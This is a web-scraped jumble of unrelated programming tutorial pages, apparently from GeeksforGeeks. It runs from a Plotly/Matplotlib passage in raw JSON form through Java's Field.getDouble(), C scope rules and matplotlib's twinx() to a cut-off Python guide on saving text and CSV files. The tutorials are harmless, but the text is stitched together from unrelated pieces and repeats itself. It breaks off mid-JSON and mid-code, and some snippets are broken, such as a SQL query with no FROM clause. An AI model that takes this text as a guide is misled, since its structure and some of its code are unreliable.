73559, "s": 73467, "text": "On the other hand, data from MySQL database is retrieved in a Pandas dataframe as follows −" }, { "code": null, "e": 73895, "s": 73559, "text": "import pymysql\nimport pandas as pd\nconn = pymysql.connect(host = \"localhost\", user = \"root\", passwd = \"xxxx\", db = \"mydb\")\ncursor = conn.cursor()\ncursor.execute('select name,age,marks')\nrows = cursor.fetchall()\ndf = pd.DataFrame( [[ij for ij in i] for i in rows] )\ndf.rename(columns = {0: 'Name', 1: 'age', 2: 'marks'}, inplace = True)" }, { "code": null, "e": 74006, "s": 73895, "text": "This chapter deals with data visualization library titled Matplotlib and online plot maker named Chart Studio." }, { "code": null, "e": 74256, "s": 74006, "text": "Matplotlib is a popular Python data visualization library capable of producing production-ready but static plots. you can convert your static matplotlib figures into interactive plots with the help of mpl_to_plotly() function in plotly.tools module." }, { "code": null, "e": 74335, "s": 74256, "text": "Following script produces a Sine wave Line plot using Matplotlib’s PyPlot API." }, { "code": null, "e": 74568, "s": 74335, "text": "from matplotlib import pyplot as plt\nimport numpy as np\nimport math \n#needed for definition of pi\nx = np.arange(0, math.pi*2, 0.05)\ny = np.sin(x)\nplt.plot(x,y)\nplt.xlabel(\"angle\")\nplt.ylabel(\"sine\")\nplt.title('sine wave')\nplt.show()" }, { "code": null, "e": 74626, "s": 74568, "text": "Now we shall convert it into a plotly figure as follows −" }, { "code": null, "e": 74699, "s": 74626, "text": "fig = plt.gcf()\nplotly_fig = tls.mpl_to_plotly(fig)\npy.iplot(plotly_fig)" }, { "code": null, "e": 74742, "s": 74699, "text": "The output of the code is as given below −" }, { "code": null, "e": 75028, "s": 74742, "text": "Chart Studio is an online plot maker tool made available by Plotly. It provides a graphical user interface for importing and analyzing data into a grid and using stats tools. Graphs can be embedded or downloaded. It is mainly used to enable creating graphs faster and more efficiently." }, { "code": null, "e": 75266, "s": 75028, "text": "After logging in to plotly’s account, start the chart studio app by visiting the link https://plot.ly/create. The web page offers a blank work sheet below the plot area. Chart Studio lets you to add plot traces by pushing + trace button." }, { "code": null, "e": 75412, "s": 75266, "text": "Various plot structure elements such as annotations, style etc. as well as facility to save, export and share the plots is available in the menu." }, { "code": null, "e": 75497, "s": 75412, "text": "Let us add data in the worksheet and add choose bar plot trace from the trace types." }, { "code": null, "e": 75545, "s": 75497, "text": "Click in the type text box and select bar plot." } ]
Field getDouble() method in Java with Examples
26 Aug, 2019 The getDouble() method of java.lang.reflect.Field used to get the value of double which has to be static or instance field type. This method also used to get the value of another primitive type convertible to type double via a widening conversion. When a class contains a static or instance double field and we want to get the value of that field then we can use this method to return the value of Field. Syntax: public double getDouble(Object obj) throws IllegalArgumentException, IllegalAccessException Parameters: This method accepts a single parameter obj which is the object to extract the double value from. Return value: This method returns the value of field converted to type double. Exception: This method throws following Exception: IllegalAccessException: This exception is thrown if Field object is enforcing Java language access control and the underlying field is inaccessible.IllegalArgumentException: This exception is thrown if the specified object is not an instance of the class or interface declaring the underlying field or if the field value cannot be converted to the type double by a widening conversion.NullPointerException: This exception is thrown if the specified object is null and the field is an instance field.ExceptionInInitializerError: This exception is thrown if the initialization provoked by this method fails. IllegalAccessException: This exception is thrown if Field object is enforcing Java language access control and the underlying field is inaccessible. IllegalArgumentException: This exception is thrown if the specified object is not an instance of the class or interface declaring the underlying field or if the field value cannot be converted to the type double by a widening conversion. NullPointerException: This exception is thrown if the specified object is null and the field is an instance field. ExceptionInInitializerError: This exception is thrown if the initialization provoked by this method fails. Below programs illustrate getDouble() method:Program 1: // Java program to demonstrate the getDouble() method import java.lang.reflect.Field; public class GFG { public static void main(String[] args) throws NoSuchFieldException, SecurityException, IllegalArgumentException, IllegalAccessException { // Create the User class object User user = new User(); // Get the marks field object Field field = User.class.getField("Marks"); // Apply getDouble Method on User Object // to get the value of Marks field double value = field.getDouble(user); // print result System.out.println("Value of double Field" + " Marks is " + value); // Now Get the Fees field object field = User.class.getField("Fees"); // Apply getDouble Method on User Object // to get the value of Fees field value = field.getDouble(user); // print result System.out.println("Value of double Field" + " Fees is " + value); }} // sample User classclass User { // static double values public static double Marks = 34.13; public static double Fees = 3413.99; public static String name = "Aman"; public static double getMarks() { return Marks; } public static void setMarks(double marks) { Marks = marks; } public static double getFees() { return Fees; } public static void setFees(double fees) { Fees = fees; } public static String getName() { return name; } public static void setName(String name) { User.name = name; }} Value of double Field Marks is 34.13 Value of double Field Fees is 3413.99 Program 2: // Java program to demonstrate the getDouble() method import java.lang.reflect.Field; public class GFG { public static void main(String[] args) throws NoSuchFieldException, SecurityException, IllegalArgumentException, IllegalAccessException { // Create the RealNumbers class object RealNumbers real = new RealNumbers(); // Get the value field object Field field = RealNumbers.class .getField("value"); // Apply getDouble Method on field Object // to get the value of value field double value = field.getDouble(real); // print result System.out.println("Value: " + value); } // RealNumbers class static class RealNumbers { // double field public static double value = 9999999.34567; // getter and setter methods public static double getValue() { return value; } public static void setValue(double value) { RealNumbers.value = value; } }} Value: 9999999.34567 References: https://docs.oracle.com/javase/8/docs/api/java/lang/reflect/Field.html#getDouble-java.lang.Object- Java-Field Java-Functions java-lang-reflect-package Java Java Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here.
[ { "code": null, "e": 28, "s": 0, "text": "\n26 Aug, 2019" }, { "code": null, "e": 433, "s": 28, "text": "The getDouble() method of java.lang.reflect.Field used to get the value of double which has to be static or instance field type. This method also used to get the value of another primitive type convertible to type double via a widening conversion. When a class contains a static or instance double field and we want to get the value of that field then we can use this method to return the value of Field." }, { "code": null, "e": 441, "s": 433, "text": "Syntax:" }, { "code": null, "e": 569, "s": 441, "text": "public double getDouble(Object obj)\n throws IllegalArgumentException,\n IllegalAccessException\n" }, { "code": null, "e": 678, "s": 569, "text": "Parameters: This method accepts a single parameter obj which is the object to extract the double value from." }, { "code": null, "e": 757, "s": 678, "text": "Return value: This method returns the value of field converted to type double." }, { "code": null, "e": 808, "s": 757, "text": "Exception: This method throws following Exception:" }, { "code": null, "e": 1414, "s": 808, "text": "IllegalAccessException: This exception is thrown if Field object is enforcing Java language access control and the underlying field is inaccessible.IllegalArgumentException: This exception is thrown if the specified object is not an instance of the class or interface declaring the underlying field or if the field value cannot be converted to the type double by a widening conversion.NullPointerException: This exception is thrown if the specified object is null and the field is an instance field.ExceptionInInitializerError: This exception is thrown if the initialization provoked by this method fails." }, { "code": null, "e": 1563, "s": 1414, "text": "IllegalAccessException: This exception is thrown if Field object is enforcing Java language access control and the underlying field is inaccessible." }, { "code": null, "e": 1801, "s": 1563, "text": "IllegalArgumentException: This exception is thrown if the specified object is not an instance of the class or interface declaring the underlying field or if the field value cannot be converted to the type double by a widening conversion." }, { "code": null, "e": 1916, "s": 1801, "text": "NullPointerException: This exception is thrown if the specified object is null and the field is an instance field." }, { "code": null, "e": 2023, "s": 1916, "text": "ExceptionInInitializerError: This exception is thrown if the initialization provoked by this method fails." }, { "code": null, "e": 2079, "s": 2023, "text": "Below programs illustrate getDouble() method:Program 1:" }, { "code": "// Java program to demonstrate the getDouble() method import java.lang.reflect.Field; public class GFG { public static void main(String[] args) throws NoSuchFieldException, SecurityException, IllegalArgumentException, IllegalAccessException { // Create the User class object User user = new User(); // Get the marks field object Field field = User.class.getField(\"Marks\"); // Apply getDouble Method on User Object // to get the value of Marks field double value = field.getDouble(user); // print result System.out.println(\"Value of double Field\" + \" Marks is \" + value); // Now Get the Fees field object field = User.class.getField(\"Fees\"); // Apply getDouble Method on User Object // to get the value of Fees field value = field.getDouble(user); // print result System.out.println(\"Value of double Field\" + \" Fees is \" + value); }} // sample User classclass User { // static double values public static double Marks = 34.13; public static double Fees = 3413.99; public static String name = \"Aman\"; public static double getMarks() { return Marks; } public static void setMarks(double marks) { Marks = marks; } public static double getFees() { return Fees; } public static void setFees(double fees) { Fees = fees; } public static String getName() { return name; } public static void setName(String name) { User.name = name; }}", "e": 3768, "s": 2079, "text": null }, { "code": null, "e": 3844, "s": 3768, "text": "Value of double Field Marks is 34.13\nValue of double Field Fees is 3413.99\n" }, { "code": null, "e": 3855, "s": 3844, "text": "Program 2:" }, { "code": "// Java program to demonstrate the getDouble() method import java.lang.reflect.Field; public class GFG { public static void main(String[] args) throws NoSuchFieldException, SecurityException, IllegalArgumentException, IllegalAccessException { // Create the RealNumbers class object RealNumbers real = new RealNumbers(); // Get the value field object Field field = RealNumbers.class .getField(\"value\"); // Apply getDouble Method on field Object // to get the value of value field double value = field.getDouble(real); // print result System.out.println(\"Value: \" + value); } // RealNumbers class static class RealNumbers { // double field public static double value = 9999999.34567; // getter and setter methods public static double getValue() { return value; } public static void setValue(double value) { RealNumbers.value = value; } }}", "e": 4966, "s": 3855, "text": null }, { "code": null, "e": 4988, "s": 4966, "text": "Value: 9999999.34567\n" }, { "code": null, "e": 5099, "s": 4988, "text": "References: https://docs.oracle.com/javase/8/docs/api/java/lang/reflect/Field.html#getDouble-java.lang.Object-" }, { "code": null, "e": 5110, "s": 5099, "text": "Java-Field" }, { "code": null, "e": 5125, "s": 5110, "text": "Java-Functions" }, { "code": null, "e": 5151, "s": 5125, "text": "java-lang-reflect-package" }, { "code": null, "e": 5156, "s": 5151, "text": "Java" }, { "code": null, "e": 5161, "s": 5156, "text": "Java" } ]
Scope rules in C
30 Jun, 2022 Scope = Lifetime The area under which a variable is applicable. Strict definition : A block or a region where a variable is declared, defined and used and when a block or a region ends, variable is automatically destroyed. C #include <stdio.h> int main(){ int var = 34; // Scope of this variable is within main() function only. // Therefore, called LOCAL to main() function. printf("%d", var); return 0;} 34 Scope of an identifier is the part of the program where the identifier may directly be accessible. In C, all identifiers are lexically(or statically) scoped. C scope rules can be covered under the following two categories. There are basically 4 scope rules: Let’s discuss each scope rules with examples. File Scope: These variables are usually declared outside of all of the functions and blocks, at the top of the program and can be accessed from any portion of the program. These are also called the global scope variables as they can be globally accessed. Example 1: C // C program to illustrate the global scope #include <stdio.h> // Global variableint global = 5; // global variable accessed from// within a functionvoid display(){ printf("%d\n", global);} // main functionint main(){ printf("Before change within main: "); display(); // changing value of global // variable from main function printf("After change within main: "); global = 10; display();} Before change within main: 5 After change within main: 10 Output: Before change within main: 5 After change within main: 10 Example 2: C // filename: file1.c int a; int main(void){ a = 2;} C // filename: file2.c// When this file is linked with file1.c, functions// of this file can access a extern int a; int myfun(){ a = 2;} Note: To restrict access to the current file only, global variables can be marked as static. Block Scope: A Block is a set of statements enclosed within left and right braces i.e. ‘{‘ and ‘}’ respectively. Blocks may be nested in C(a block may contain other blocks inside it). A variable declared inside a block is accessible in the block and all inner blocks of that block, but not accessible outside the block. Basically these are local to the blocks in which the variables are defined and are not accessible outside. C #include <stdio.h> // Driver Codeint main(){ { int x = 10, y = 20; { // The outer block contains // declaration of x and // y, so following statement // is valid and prints // 10 and 20 printf("x = %d, y = %d\n", x, y); { // y is declared again, // so outer block y is // not accessible in this block int y = 40; // Changes the outer block // variable x to 11 x++; // Changes this block's // variable y to 41 y++; printf("x = %d, y = %d\n", x, y); } // This statement accesses // only outer block's // variables printf("x = %d, y = %d\n", x, y); } } return 0;} x = 10, y = 20 x = 11, y = 41 x = 11, y = 20 Output: x = 10, y = 20 x = 11, y = 41 x = 11, y = 20 Function Prototype Scope: These variables range includes within the function parameter list. The scope of the these variables begins right after the declaration in the function prototype and runs to the end of the declarations list. These scopes don’t include the function definition, but just the function prototype. Example: C // C program to illustrate// function prototype scope #include <stdio.h> // function prototype scope//(not part of a function definition)int Sub(int num1, int num2); // file scopeint num1; // Function to subtractint Sub(int num1, int num2){ return (num1-num2);} // Driver methodint main(void){ printf("%d\n", Sub(10,5)); return 0;} 5 Function Scope: A Function scope begins at the opening of the function and ends with the closing of it. Function scope is applicable to labels only. A label declared is used as a target to go to the statement and both goto and label statement must be in the same function. Example: C void func1(){ { // label in scope even // though declared later goto label_exec; label_exec:; } // label ignores block scope goto label_exec;} void funct2(){ // throwserror: // as label is in func1() not funct2() goto label_exec;} Now various questions may arise with respect to the scope of access of variables: What if the inner block itself has one variable with the same name? If an inner block declares a variable with the same name as the variable declared by the outer block, then the visibility of the outer block variable ends at the point of the declaration by inner block. What about functions and parameters passed to functions? A function itself is a block. Parameters and other local variables of a function follow the same block scope rules. Can variables of the block be accessed in another subsequent block? No, a variable declared in a block can only be accessed inside the block and all inner blocks of this block. For example, the following program produces a compiler error. C int main(){ { int x = 10; } { // Error: x is not accessible here printf("%d", x); } return 0;} Error: prog.c: In function 'main': prog.c:8:15: error: 'x' undeclared (first use in this function) printf("%d", x); // Error: x is not accessible here ^ prog.c:8:15: note: each undeclared identifier is reported only once for each function it appears in Example: C // C program to illustrate scope of variables #include<stdio.h> int main(){ // Initialization of local variables int x = 1, y = 2, z = 3; printf("x = %d, y = %d, z = %d\n", x, y, z); { // changing the variables x & y int x = 10; float y = 20; printf("x = %d, y = %f, z = %d\n", x, y, z); { // changing z int z = 100; printf("x = %d, y = %f, z = %d\n", x, y, z); } } return 0;} x = 1, y = 2, z = 3 x = 10, y = 20.000000, z = 3 x = 10, y = 20.000000, z = 100 Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above. Pankaj_KS avsadityavardhan Chinmoy Lenka Archit_Dwevedi0 umangnangal aditiyadav20102001 shashimrigank C-Variable Declaration and Scope C Language Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Substring in C++ Function Pointer in C Different Methods to Reverse a String in C++ std::string class in C++ Unordered Sets in C++ Standard Template Library Enumeration (or enum) in C Memory Layout of C Programs C Language Introduction What is the purpose of a function prototype? Power Function in C/C++
[ { "code": null, "e": 52, "s": 24, "text": "\n30 Jun, 2022" }, { "code": null, "e": 69, "s": 52, "text": "Scope = Lifetime" }, { "code": null, "e": 116, "s": 69, "text": "The area under which a variable is applicable." }, { "code": null, "e": 275, "s": 116, "text": "Strict definition : A block or a region where a variable is declared, defined and used and when a block or a region ends, variable is automatically destroyed." }, { "code": null, "e": 277, "s": 275, "text": "C" }, { "code": "#include <stdio.h> int main(){ int var = 34; // Scope of this variable is within main() function only. // Therefore, called LOCAL to main() function. printf(\"%d\", var); return 0;}", "e": 501, "s": 277, "text": null }, { "code": null, "e": 504, "s": 501, "text": "34" }, { "code": null, "e": 727, "s": 504, "text": "Scope of an identifier is the part of the program where the identifier may directly be accessible. In C, all identifiers are lexically(or statically) scoped. C scope rules can be covered under the following two categories." }, { "code": null, "e": 762, "s": 727, "text": "There are basically 4 scope rules:" }, { "code": null, "e": 809, "s": 762, "text": "Let’s discuss each scope rules with examples. " }, { "code": null, "e": 1065, "s": 809, "text": "File Scope: These variables are usually declared outside of all of the functions and blocks, at the top of the program and can be accessed from any portion of the program. These are also called the global scope variables as they can be globally accessed. " }, { "code": null, "e": 1076, "s": 1065, "text": "Example 1:" }, { "code": null, "e": 1078, "s": 1076, "text": "C" }, { "code": "// C program to illustrate the global scope #include <stdio.h> // Global variableint global = 5; // global variable accessed from// within a functionvoid display(){ printf(\"%d\\n\", global);} // main functionint main(){ printf(\"Before change within main: \"); display(); // changing value of global // variable from main function printf(\"After change within main: \"); global = 10; display();}", "e": 1497, "s": 1078, "text": null }, { "code": null, "e": 1555, "s": 1497, "text": "Before change within main: 5\nAfter change within main: 10" }, { "code": null, "e": 1564, "s": 1555, "text": "Output: " }, { "code": null, "e": 1622, "s": 1564, "text": "Before change within main: 5\nAfter change within main: 10" }, { "code": null, "e": 1633, "s": 1622, "text": "Example 2:" }, { "code": null, "e": 1635, "s": 1633, "text": "C" }, { "code": "// filename: file1.c int a; int main(void){ a = 2;}", "e": 1689, "s": 1635, "text": null }, { "code": null, "e": 1691, "s": 1689, "text": "C" }, { "code": "// filename: file2.c// When this file is linked with file1.c, functions// of this file can access a extern int a; int myfun(){ a = 2;}", "e": 1828, "s": 1691, "text": null }, { "code": null, "e": 1921, "s": 1828, "text": "Note: To restrict access to the current file only, global variables can be marked as static." }, { "code": null, "e": 2348, "s": 1921, "text": "Block Scope: A Block is a set of statements enclosed within left and right braces i.e. ‘{‘ and ‘}’ respectively. Blocks may be nested in C(a block may contain other blocks inside it). A variable declared inside a block is accessible in the block and all inner blocks of that block, but not accessible outside the block. Basically these are local to the blocks in which the variables are defined and are not accessible outside." }, { "code": null, "e": 2350, "s": 2348, "text": "C" }, { "code": "#include <stdio.h> // Driver Codeint main(){ { int x = 10, y = 20; { // The outer block contains // declaration of x and // y, so following statement // is valid and prints // 10 and 20 printf(\"x = %d, y = %d\\n\", x, y); { // y is declared again, // so outer block y is // not accessible in this block int y = 40; // Changes the outer block // variable x to 11 x++; // Changes this block's // variable y to 41 y++; printf(\"x = %d, y = %d\\n\", x, y); } // This statement accesses // only outer block's // variables printf(\"x = %d, y = %d\\n\", x, y); } } return 0;}", "e": 3242, "s": 2350, "text": null }, { "code": null, "e": 3287, "s": 3242, "text": "x = 10, y = 20\nx = 11, y = 41\nx = 11, y = 20" }, { "code": null, "e": 3296, "s": 3287, "text": "Output: " }, { "code": null, "e": 3341, "s": 3296, "text": "x = 10, y = 20\nx = 11, y = 41\nx = 11, y = 20" }, { "code": null, "e": 3660, "s": 3341, "text": "Function Prototype Scope: These variables range includes within the function parameter list. The scope of the these variables begins right after the declaration in the function prototype and runs to the end of the declarations list. These scopes don’t include the function definition, but just the function prototype. " }, { "code": null, "e": 3670, "s": 3660, "text": "Example: " }, { "code": null, "e": 3672, "s": 3670, "text": "C" }, { "code": "// C program to illustrate// function prototype scope #include <stdio.h> // function prototype scope//(not part of a function definition)int Sub(int num1, int num2); // file scopeint num1; // Function to subtractint Sub(int num1, int num2){ return (num1-num2);} // Driver methodint main(void){ printf(\"%d\\n\", Sub(10,5)); return 0;}", "e": 4014, "s": 3672, "text": null }, { "code": null, "e": 4016, "s": 4014, "text": "5" }, { "code": null, "e": 4290, "s": 4016, "text": "Function Scope: A Function scope begins at the opening of the function and ends with the closing of it. Function scope is applicable to labels only. A label declared is used as a target to go to the statement and both goto and label statement must be in the same function. " }, { "code": null, "e": 4300, "s": 4290, "text": "Example: " }, { "code": null, "e": 4302, "s": 4300, "text": "C" }, { "code": "void func1(){ { // label in scope even // though declared later goto label_exec; label_exec:; } // label ignores block scope goto label_exec;} void funct2(){ // throwserror: // as label is in func1() not funct2() goto label_exec;}", "e": 4581, "s": 4302, "text": null }, { "code": null, "e": 4665, "s": 4581, "text": " Now various questions may arise with respect to the scope of access of variables: " }, { "code": null, "e": 4936, "s": 4665, "text": "What if the inner block itself has one variable with the same name? If an inner block declares a variable with the same name as the variable declared by the outer block, then the visibility of the outer block variable ends at the point of the declaration by inner block." }, { "code": null, "e": 5109, "s": 4936, "text": "What about functions and parameters passed to functions? A function itself is a block. Parameters and other local variables of a function follow the same block scope rules." }, { "code": null, "e": 5287, "s": 5109, "text": "Can variables of the block be accessed in another subsequent block? No, a variable declared in a block can only be accessed inside the block and all inner blocks of this block. " }, { "code": null, "e": 5350, "s": 5287, "text": "For example, the following program produces a compiler error. " }, { "code": null, "e": 5352, "s": 5350, "text": "C" }, { "code": "int main(){ { int x = 10; } { // Error: x is not accessible here printf(\"%d\", x); } return 0;}", "e": 5468, "s": 5352, "text": null }, { "code": null, "e": 5475, "s": 5468, "text": "Error:" }, { "code": null, "e": 5739, "s": 5475, "text": "prog.c: In function 'main':\nprog.c:8:15: error: 'x' undeclared (first use in this function)\n printf(\"%d\", x); // Error: x is not accessible here\n ^\nprog.c:8:15: note: each undeclared identifier is \nreported only once for each function it appears in" }, { "code": null, "e": 5749, "s": 5739, "text": "Example: " }, { "code": null, "e": 5751, "s": 5749, "text": "C" }, { "code": "// C program to illustrate scope of variables #include<stdio.h> int main(){ // Initialization of local variables int x = 1, y = 2, z = 3; printf(\"x = %d, y = %d, z = %d\\n\", x, y, z); { // changing the variables x & y int x = 10; float y = 20; printf(\"x = %d, y = %f, z = %d\\n\", x, y, z); { // changing z int z = 100; printf(\"x = %d, y = %f, z = %d\\n\", x, y, z); } } return 0;}", "e": 6254, "s": 5751, "text": null }, { "code": null, "e": 6334, "s": 6254, "text": "x = 1, y = 2, z = 3\nx = 10, y = 20.000000, z = 3\nx = 10, y = 20.000000, z = 100" }, { "code": null, "e": 6459, "s": 6334, "text": "Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above." }, { "code": null, "e": 6469, "s": 6459, "text": "Pankaj_KS" }, { "code": null, "e": 6486, "s": 6469, "text": "avsadityavardhan" }, { "code": null, "e": 6500, "s": 6486, "text": "Chinmoy Lenka" }, { "code": null, "e": 6516, "s": 6500, "text": "Archit_Dwevedi0" }, { "code": null, "e": 6528, "s": 6516, "text": "umangnangal" }, { "code": null, "e": 6547, "s": 6528, "text": "aditiyadav20102001" }, { "code": null, "e": 6561, "s": 6547, "text": "shashimrigank" }, { "code": null, "e": 6594, "s": 6561, "text": "C-Variable Declaration and Scope" }, { "code": null, "e": 6605, "s": 6594, "text": "C Language" }, { "code": null, "e": 6703, "s": 6605, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 6720, "s": 6703, "text": "Substring in C++" }, { "code": null, "e": 6742, "s": 6720, "text": "Function Pointer in C" }, { "code": null, "e": 6787, "s": 6742, "text": "Different Methods to Reverse a String in C++" }, { "code": null, "e": 6812, "s": 6787, "text": "std::string class in C++" }, { "code": null, "e": 6860, "s": 6812, "text": "Unordered Sets in C++ Standard Template Library" }, { "code": null, "e": 6887, "s": 6860, "text": "Enumeration (or enum) in C" }, { "code": null, "e": 6915, "s": 6887, "text": "Memory Layout of C Programs" }, { "code": null, "e": 6939, "s": 6915, "text": "C Language Introduction" }, { "code": null, "e": 6984, "s": 6939, "text": "What is the purpose of a function prototype?" } ]
Matplotlib.pyplot.twinx() in Python
11 Apr, 2020 Matplotlib is a library in Python and it is numerical – mathematical extension for NumPy library. Pyplot is a state-based interface to a Matplotlib module which provides a MATLAB-like interface. Sample Code # sample codeimport matplotlib.pyplot as plt plt.plot([1, 2, 3, 4], [16, 4, 1, 8]) plt.show() Output: The twinx() function in pyplot module of matplotlib library is used to make and return a second axes that shares the x-axis. Syntax: matplotlib.pyplot.twinx(ax=None) Parameters: This method does not accepts any parameters. Returns: This returns the second axes that shares the x-axis Below examples illustrate the matplotlib.pyplot.twinx() function in matplotlib.pyplot: Example #1: # Implementation of matplotlib functionimport matplotlib.pyplot as pltimport numpy as np def GFG1(temp): return (5. / 9.) * (temp - 32) def GFG2(ax1): y1, y2 = ax1.get_ylim() ax_twin .set_ylim(GFG1(y1), GFG1(y2)) ax_twin .figure.canvas.draw() fig, ax1 = plt.subplots()ax_twin = ax1.twinx() ax1.callbacks.connect("ylim_changed", GFG2)ax1.plot(np.linspace(0, 120, 100))ax1.set_xlim(30, 100) ax1.set_ylabel('Fahrenheit')ax_twin .set_ylabel('Celsius') fig.suptitle('matplotlib.pyplot.twinx() function \Example\n\n', fontweight ="bold")plt.show() Output: Example #2: # Implementation of matplotlib functionimport numpy as npimport matplotlib.pyplot as plt # Create some mock datat = np.arange(0.01, 20.0, 0.001)data1 = np.exp(t)data2 = np.sin(0.3 * np.pi * t) fig, ax1 = plt.subplots() color = 'tab:blue'ax1.set_xlabel('time (s)')ax1.set_ylabel('exp', color = color)ax1.plot(t, data1, color = color)ax1.tick_params(axis ='y', labelcolor = color) ax2 = ax1.twinx() color = 'tab:green'ax2.set_ylabel('sin', color = color)ax2.plot(t, data2, color = color)ax2.tick_params(axis ='y', labelcolor = color) fig.suptitle('matplotlib.pyplot.twinx() function \Example\n\n', fontweight ="bold")plt.show() Output: Python-matplotlib Python Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Python Dictionary Different ways to create Pandas Dataframe Enumerate() in Python How to Install PIP on Windows ? *args and **kwargs in Python Python Classes and Objects Python OOPs Concepts Convert integer to string in Python Introduction To PYTHON How to drop one or multiple columns in Pandas Dataframe
[ { "code": null, "e": 28, "s": 0, "text": "\n11 Apr, 2020" }, { "code": null, "e": 223, "s": 28, "text": "Matplotlib is a library in Python and it is numerical – mathematical extension for NumPy library. Pyplot is a state-based interface to a Matplotlib module which provides a MATLAB-like interface." }, { "code": null, "e": 235, "s": 223, "text": "Sample Code" }, { "code": "# sample codeimport matplotlib.pyplot as plt plt.plot([1, 2, 3, 4], [16, 4, 1, 8]) plt.show() ", "e": 334, "s": 235, "text": null }, { "code": null, "e": 342, "s": 334, "text": "Output:" }, { "code": null, "e": 467, "s": 342, "text": "The twinx() function in pyplot module of matplotlib library is used to make and return a second axes that shares the x-axis." }, { "code": null, "e": 475, "s": 467, "text": "Syntax:" }, { "code": null, "e": 508, "s": 475, "text": "matplotlib.pyplot.twinx(ax=None)" }, { "code": null, "e": 565, "s": 508, "text": "Parameters: This method does not accepts any parameters." }, { "code": null, "e": 626, "s": 565, "text": "Returns: This returns the second axes that shares the x-axis" }, { "code": null, "e": 713, "s": 626, "text": "Below examples illustrate the matplotlib.pyplot.twinx() function in matplotlib.pyplot:" }, { "code": null, "e": 725, "s": 713, "text": "Example #1:" }, { "code": "# Implementation of matplotlib functionimport matplotlib.pyplot as pltimport numpy as np def GFG1(temp): return (5. / 9.) * (temp - 32) def GFG2(ax1): y1, y2 = ax1.get_ylim() ax_twin .set_ylim(GFG1(y1), GFG1(y2)) ax_twin .figure.canvas.draw() fig, ax1 = plt.subplots()ax_twin = ax1.twinx() ax1.callbacks.connect(\"ylim_changed\", GFG2)ax1.plot(np.linspace(0, 120, 100))ax1.set_xlim(30, 100) ax1.set_ylabel('Fahrenheit')ax_twin .set_ylabel('Celsius') fig.suptitle('matplotlib.pyplot.twinx() function \\Example\\n\\n', fontweight =\"bold\")plt.show()", "e": 1294, "s": 725, "text": null }, { "code": null, "e": 1302, "s": 1294, "text": "Output:" }, { "code": null, "e": 1314, "s": 1302, "text": "Example #2:" }, { "code": "# Implementation of matplotlib functionimport numpy as npimport matplotlib.pyplot as plt # Create some mock datat = np.arange(0.01, 20.0, 0.001)data1 = np.exp(t)data2 = np.sin(0.3 * np.pi * t) fig, ax1 = plt.subplots() color = 'tab:blue'ax1.set_xlabel('time (s)')ax1.set_ylabel('exp', color = color)ax1.plot(t, data1, color = color)ax1.tick_params(axis ='y', labelcolor = color) ax2 = ax1.twinx() color = 'tab:green'ax2.set_ylabel('sin', color = color)ax2.plot(t, data2, color = color)ax2.tick_params(axis ='y', labelcolor = color) fig.suptitle('matplotlib.pyplot.twinx() function \\Example\\n\\n', fontweight =\"bold\")plt.show()", "e": 1951, "s": 1314, "text": null }, { "code": null, "e": 1959, "s": 1951, "text": "Output:" }, { "code": null, "e": 1977, "s": 1959, "text": "Python-matplotlib" }, { "code": null, "e": 1984, "s": 1977, "text": "Python" }, { "code": null, "e": 2082, "s": 1984, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 2100, "s": 2082, "text": "Python Dictionary" }, { "code": null, "e": 2142, "s": 2100, "text": "Different ways to create Pandas Dataframe" }, { "code": null, "e": 2164, "s": 2142, "text": "Enumerate() in Python" }, { "code": null, "e": 2196, "s": 2164, "text": "How to Install PIP on Windows ?" }, { "code": null, "e": 2225, "s": 2196, "text": "*args and **kwargs in Python" }, { "code": null, "e": 2252, "s": 2225, "text": "Python Classes and Objects" }, { "code": null, "e": 2273, "s": 2252, "text": "Python OOPs Concepts" }, { "code": null, "e": 2309, "s": 2273, "text": "Convert integer to string in Python" }, { "code": null, "e": 2332, "s": 2309, "text": "Introduction To PYTHON" } ]
Saving Text, JSON, and CSV to a File in Python
29 Dec, 2020 Python allows users to handle files (read, write, save and delete files and many more). Because of Python, it is very easy for us to save multiple file formats. Python has in-built functions to save multiple file formats. Opening a file refers to getting the file ready either for reading or for writing. This can be done using the open() function. Syntax: File_object = open("File_Name", "Access_Mode") Parameters: File_Name: The name of the file that is needed to be opened. Access_Mode: Access modes govern the type of operations possible in the opened file. Following are the most commonly used access modes: Read Only (‘r’): Open text file for reading. Write Only (‘w’): Open the file for writing. Append Only (‘a’): Open the file for writing. The data being written will be inserted at the end, after the existing data. Read and Write (‘r+’): Open the file for reading and writing. Note: By default, Python assumes the access mode as read i.e (“r”) # Python program to demonstrate # opening a file # Open function to open the file "myfile.txt" # (same directory) in read mode and store # it's reference in the variable file1 file1 = open("myfile.txt") # Reading from file print(file1.read()) file1.close() Note: For more information, refer to Open a File in Python. After learning about opening a File in Python, let’s see the ways to save it. Opening a new file in write mode will create a file and after closing the file, the files get saved automatically. However, we can also write some text to the file. Python provides two methods for the same. write(): Inserts the string str1 in a single line in the text file.File_object.write(str1) File_object.write(str1) writelines(): For a list of string elements, each string is inserted in the text file. Used to insert multiple strings at a single time.File_object.writelines(L) for L = [str1, str2, str3] File_object.writelines(L) for L = [str1, str2, str3] Example: # Python program to demonstrate# saving a text file file = open('read.txt', 'w')file.write('Welcome to Geeks for Geeks')file.close() Output: with statement in Python is used in exception handling to make the code cleaner and much more readable. It simplifies the management of common resources like file streams. Unlike the above implementations, there is no need to call file.close() when using with statement. The with statement itself ensures proper acquisition and release of resources. Syntax: with open filename as file: statement(s) Example: # Python program to demonstrate# saving a text file with open('read.txt', 'w') as file: books = ['Welcome\n', 'Geeks\n', 'to\n', 'Geeks\n', 'for\n', 'Geeks\n', 'world\n'] file.writelines("% s\n" % data for data in books) Output: Note: For more information, refer to Writing to file in Python. CSV is a Comma Separated Values files are most widely utilized for putting tabular data. CSV file stores tabular data (numbers and text) in plain text. Each line of the file is a data record. Each record consists of one or more fields, separated by commas. Python has built-in module called csv to write and Save a CSV File. To save a CSV File: First, we need to import csv library. Then open the file as we usually do but instead of writing content on the read_file object, we create a new object called read_writer. This object provides us with the writelines() method which allows us to place all the row’s data within the enter one go. Example: # Python program to demonstrate # writing to CSV import csv # field names fields = ['Name', 'Branch', 'Year', 